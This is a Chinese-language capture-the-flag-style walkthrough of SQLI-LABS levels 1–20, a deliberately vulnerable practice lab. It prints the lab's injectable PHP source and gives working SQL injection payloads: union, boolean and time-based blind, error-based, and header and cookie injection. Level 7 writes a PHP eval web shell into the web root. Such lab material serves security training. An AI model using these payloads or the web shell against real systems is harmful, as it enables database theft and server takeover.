SQLI-LABS通关之基础篇

SQLI-LABS 是一个学习 SQLi 的靶场平台,本文记录基础篇(less 1~20)通关思路及方法...

0x00 环境搭建

Docker安装:

1
2
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 80:80 acgpiano/sqli-labs:latest

数据库设置密码:

1
2
set password for 'root'@'localhost'=PASSWORD('password');
flush privileges;

设置sqli-labs配置文件连接数据库:

1
2
3
4
5
6
7
8
9
10
11
root@c2d69bcac334:/var/www/html/sql-connections# vim db-creds.inc 
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";

?>

安装成功验证

安装配置完成后访问链接http://localhost/sql-connections/setup-db.php, 可见如下页面:

关卡概览

less-1: GET-报错注入-单引号-String

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include("../sql-connections/sql-connect.php");

// 禁用error报告
error_reporting(0);

// 检查 GET 请求中是否提供了 'id' 参数
if(isset($_GET['id'])) {
// 将 'id' 值存储在变量中
$id=$_GET['id'];

// 将 'id' 值记录到文件中
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// 使用 'id' 值构造 SQL 查询,存在注入点
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 执行查询
$result=mysql_query($sql);
// 将结果作为数组提取
$row = mysql_fetch_array($result);

// 检查查询是否返回了结果
if($row) {
// 如果返回了结果,则输出具有指定 'id' 的用户的登录名和密码
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
} else {
// 如果没有返回结果,则输出错误信息
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
} else {
// 如果未提供 'id' 参数,则输出错误信息
echo "Please input the ID as parameter with numeric value";
}
?>

报错信息

1
2
// 输入?id=1',返回如下报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

手工注入

1
2
3
4
5
?id=1' or 1=1--+   
// ID参数在拼接sql语句时,未对id进行任何过滤操作,所以当提交 'or 1=1--+,直接构造的sql语句就是:SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1

?id=1' order by 3--+
// Order by 对前面的数据进行排序,这里有三列数据,用order by 3,超过3就会报错

union联合注入

union的作用是将两个sql语句进行联合,union前后的两个sql语句的选择列数要相同才可以,Union all与union 的区别是增加了去重的功能

当id的数据在数据库中不存在时(如id=-1),两个sql语句进行联合操作时,当前一个语句选择的内容为空,可以将后面的语句的内容显示出来

1
2
3
4
5
6
7
8
9
10
11
// 爆数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

// 爆security数据库的数据表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

// 爆users表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

// 爆数据
?id=-1' union select 1,username,password from users where id=2--+

less-2: GET-报错注入-Intiger

源码SQL语句

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

报错信息

1
2
3
// 输入?id=1',返回如下报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

手工注入

1
2
3
4
?id=1 or 1=1
?id=1 or 1=1--+

// union注入同less-1, 去掉'即可

less-3: GET-报错注入-单引号带括号-String

源码SQL语句

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

报错信息

1
2
3
// 输入?id=1',返回如下报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

手工注入

1
2
3
?id=1')--+

// payload与less-1中类似,只需要将less-1中的 ' 添加)即')

less-4: GET-报错注入-双引号-String

源码SQL语句

1
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

报错信息

1
2
// 输入?id=1",返回如下报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

手工注入

1
2
3
?id=1")--+

其余的payload与less-1中一直,只需要将less1中的 ' 更换为 ")

less-5: GET-二次注入-单引号-String

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include("../sql-connections/sql-connect.php");

// 禁用错误报告。
error_reporting(0);

// 检查是否设置了 GET 参数 "id"。
if(isset($_GET['id']))
{
// 如果设置了,则将其赋值给变量 $id。
$id=$_GET['id'];

// 将连接参数记录到文件 result.txt 中,以便分析。
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// 使用 MySQL 查询语句查询 users 表中 id 为 $id 的记录。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

// 如果查询结果不为空,则在页面上输出 "You are in..........."。
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
// 如果查询结果为空,则在页面上输出 MySQL 的错误信息。
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
// 如果未设置 GET 参数 "id",则在页面上输出 "Please input the ID as parameter with numeric value"。
else { echo "Please input the ID as parameter with numeric value";}

?>

从源代码中可以看到,运行返回结果正确的时候只返回you are in….,不会返回数据库当中的信息,需要用盲注的思路进行注入

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
1)利用left(database(),1)进行尝试

?id=1%27and%20left(version(),1)=5%23 // 查看version(),数据库的版本号为5.6.17,语句查看版本号的第一位是不是5,可见返回的结果是正确的

// 猜测数据库长度:长度为8时,返回正确结果,说明长度为8

?id=1%27and%20length(database())=8%23

// 猜测数据库第一位:Database()为security,看他的第一位是否 > a,很明显的是s > a,因此返回正确。在不知情的情况下,可以用二分法来提高注入的效率。

?id=1%27and%20left(database(),1)%3E%27a%27--+

// 猜测数据库第二位:得知第一位为s,我们看前两位是否大于 sa,依次类推...

?id=1%27and%20left(database(),2)%3E%27sa%27--+

2)利用substr() ascii()函数进行尝试

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

利用此方式获取security数据库下的表:

// 获取security数据库的第一个表的第一个字符,此处是101,因为第一个表是email

?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

// 获取第一个表的第二位字符,使用substr(**,2,1)

?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+

// 获取第二个表:上述的语句中使用的limit 0,1. 意思就是从第0个开始,获取第一个,那要获取第二个就是limit 1,1;此处113返回是正确的,因为第二个表示referers表,第一位是r

?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+


3)利用regexp获取(2)中users表中的列

// 如下语句选择users表中的列名是否有us**的列

?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

// 如下语句可以看到username存在

?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

4)利用ord()和mid()函数获取users表的内容

// 获取users表中的内容。获取username中的第一行的第一个字符的ascii,与68进行比较,即为D。而从表中得知第一行的数据为Dumb,重复操作即可

?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

// 使用double数值类型超出范围进行报错注入
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

// 利用bigint溢出进行报错注入
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

// xpath函数报错注入
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

// 利用数据的重复性
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

延时注入

1
2
3
4
5
// 利用sleep()函数进行注入:当错误的时候会有5秒的时间延时
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

// 利用BENCHMARK()进行延时注入:当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作50000000次,会占用一段时间
?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

less-6: GET-二次注入-双引号-String

源码SQL语句

1
2
3
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);

Less-6与less-5的区别在于less-6在id参数传到服务器时,对id参数进行了处理,payload只需将 ‘ 替换成 “

payload

1
?id=1%22and%20left(version(),1)=5%23 //其他类似

less-7: GET-利用文件导入进行注入-String

源码SQL语句

1
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

这里对id参数进行了 ‘))的处理,所以可以尝试’)) or 1=1–+进行注入

payload

1
2
3
4
?id=1'))UNION SELECT 1,2,3 into outfile "/var/www/html/test.php"%23

// 写入一句话木马
?id=1'))UNION SELECT 1,2,'<?php @eval($_post["passwd"])?>' into outfile "/var/www/html/test.php"--+

再利用蚁剑等webshell管理工具连接即可

less-8: GET-盲注-布尔型-单引号

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

上述代码将mysql报错的语句进行了注释,那么这一关报错注入无法进行

延时注入

1
?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

其他payload可参考less-5

less-9: GET-盲注-基于时间-单引号

源码SQL语句

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

本关利用延时注入进行,同时id参数进行的是 ‘ 的处理

Payload

利用sleep()函数进行延时注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1)猜测数据库:

?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ // 说明第一位是s(ascii码是115)

?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ // 说明第二位是e(ascii码是101)

以此类推,猜测出数据库名字是security

2)猜测security的数据表:

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+ // 猜测第一个数据表的第一位是e,...依次类推,得到emails

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+ // 猜测第二个数据表的第一位是r,...依次类推,得到referers

...

以此类推,可以得到所有的数据表emails,referers,uagents,users

3)猜测users表的列:

id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+ // 猜测users表的第一个列的第一个字符是i,

以此类推,得到列名是id,username,password

4)猜测username的值:

?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+ // 猜测username的第一行的第一位

以此类推,得到数据库username,password的所有内容

less-10: GET-盲注-基于时间-双引号

本关利用延时注入进行,同时id参数进行的是 “ 的处理。和less-9的区别就在于单引号(’)变成了(”), payload参考less-9

示例

1
?id=1"and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

less-11: POST-报错注入-单引号-String

本关开始post注入,post是数据从客户端提交到服务器端,例如在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。

在less-11中我们需输入用户名和密码,

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

include("../sql-connections/sql-connect.php");

error_reporting(0);

// 检查表单是否有 'uname' 和 'passwd' 两个输入字段
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
// 保存表单输入到变量中
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

// 将连接参数写入文件以供分析
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);

// 使用MySQL查询语句检查用户名和密码是否存在于数据库的 'users' 表中
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

// 如果用户名和密码存在于数据库中,则输出欢迎信息和用户名和密码,并显示一张图片
if($row)
{
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo '您已成功登录:' . $row['username'];
echo "<br>";
echo '您的密码是:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
// 否则,输出错误信息并显示另一张图片
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}

?>

注入测试

测试payload: admin'

返回报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1' at line 1

从错误中分析到程序对参数进行单引号的处理,username使用如下payload,密码随意:

1
admin' or '1'='1#

返回的正确的结果,当我们提交username和password后,后台形成的sql语句为:

1
2
3
@$sql="SELECT username, password FROM users WHERE username='admin' or '1'='1# and password='$passwd' LIMIT 0,1";

// 在#以后的内容就被注释掉,前面的内容因为or 1=1恒成立,所以语句成立

使用union注入:1admin' union select 1,database()#

less-12: Post-报错注入-双引号-String with twist

源码SQL语句

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

分析源码可利用")进行注入

也可以构造admin"分析错误回显,可用")进行注入

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") and password=("") LIMIT 0,1' at line 1

payload

1
2
3
admin") or "1"=1#

1admin") union select 1,database()#

less-13: POST-二次注入-单引号-with twist

源码SQL语句

1
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

报错信息

输入admin',返回如下报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') and password=('') LIMIT 0,1' at line 1

本关不会显示登录信息,只能给一个是否登录成功的返回数据,因此使用盲注思路

手工注入

1
2
3
4
5
6
7
// 猜测数据库第一位
username: admin') and left(database(),1)>'a'#&passwd=1&submit=Submit

// 猜测数据库第二位
username: admin') and left(database(),2)>'se'#&passwd=1&submit=Submit

以此类推...

less-14: POST-二次注入-双引号-with twist

源码SQL语句

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

进行了 “ 操作,与less-13类似,利用盲注思路

Payload

1
2
3
admin" and left(database(),1)>'a'#&passwd=1&submit=Submit

admin" and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit // 查看版本信息

less-15: POST-盲注-布尔/时间型-单引号

源码SQL语句

1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

本关没有错误提示,只能靠猜测进行注入,利用延时注入

延时注入

1
2
// 猜测数据库名第一位:
admin' and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit // 正确时可以直接登录,不正确时延时5秒

less-16: POST-盲注-布尔/时间型-双引号

与less-15类似,'改为"即可

less-17: POST-Update 查询错误-String

这是一个修改密码的关卡,利用的是update语句,与在用select时是一样的,仅需要将原先的闭合,构造自己的payload。

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";

if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}

echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";

}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';

echo "</font>";
}
}

?>

分析源码,对username进行了check_input输入检查,对username进行各种转义的处理,无法进行注入,可用注入点是:password

盲注

1
2
3
4
5
6
7
// 报错类型的盲注:查看version信息

password: admin&passwd=11' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit

// 延时注入

password: admin&passwd=11' and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit

less-18: POST-Header注入-UA字段-基于报错

源码分析

1
2
3
4
5
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

分析源码,对uname和passwd进行了check_input()函数的处理,所以无法利用uname和passwd上进行注入,但是在代码中,看到了insert()函数,将useragent和ip插入到数据库中,修改useragent较为方便,利用其进行注入

payload

1
将user-agent修改为'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1 得到版本号,成功注入

less-19: POST-Header注入-Referer字段-基于报错

源码分析

1
2
3
4
5
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

分析源码,可修改referer进行注入

示例

将referer修改为'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1可看到mysql的路径

less-20: POST-Cookie注入-UA字段-基于报错

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(!isset($_COOKIE['uname']))
{
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome&nbsp;&nbsp;&nbsp;<font color='#FF0000'> Dhakkan </font><br></div>";
echo "<div align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";
echo "<div style='padding-top:10px; font-size:15px;'>";


echo "<!--Form to post the contents -->";
echo '<form action=" " name="form1" method="post">';

echo ' <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;';
echo ' <input type="text" name="uname" value=""/> </div>';

echo ' <div> Password : &nbsp; &nbsp; &nbsp;';
echo ' <input type="text" name="passwd" value=""/></div></br>';
echo ' <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';

echo '</form>';
echo '</div>';
echo '</div>';
echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';
echo '<font size="3" color="#FFFF00">';
echo '<center><br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo '</center>';

function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,20); // truncation (see comments)
}
if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
{
$value = stripslashes($value);
}
if (!ctype_digit($value)) // Quote if not a number
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}

echo "<br>";
echo "<br>";

if(isset($_POST['uname']) && isset($_POST['passwd']))
{

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
echo "</font>";
echo '<font color= "#0000ff" font size = 3 >';
//echo 'Your Cookie is: ' .$cookee;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}

echo "</font>";
echo '</font>';
echo '</div>';

}
else
{
if(!isset($_POST['submit']))
{

$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
else
{
echo '<center>';
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo '<font color= "#FFFF00" font size = 6 >';
echo " Your Cookie is deleted";
setcookie('uname', $row1['username'], time()-3600);
header ('Location: index.php');
echo '</font></center></br>';

}

echo "<br>";
echo "<br>";
//header ('Location: main.php');
echo "<br>";
echo "<br>";

//echo '<img src="../images/slap.jpg" /></center>';
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'Cookie:'.$cookee."\n");

fclose($fp);

}
?>

分析源码,cookie 从 username 中获得值后,当再次刷新时,会从cookie 中读取 username,然后进行查询。登录成功后,我们修改 cookie,再次刷新时,这时候 sql 语句就会被修改。

注入payload

修改 cookie 为admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#,可得到 mysql 的路径

0xFF Reference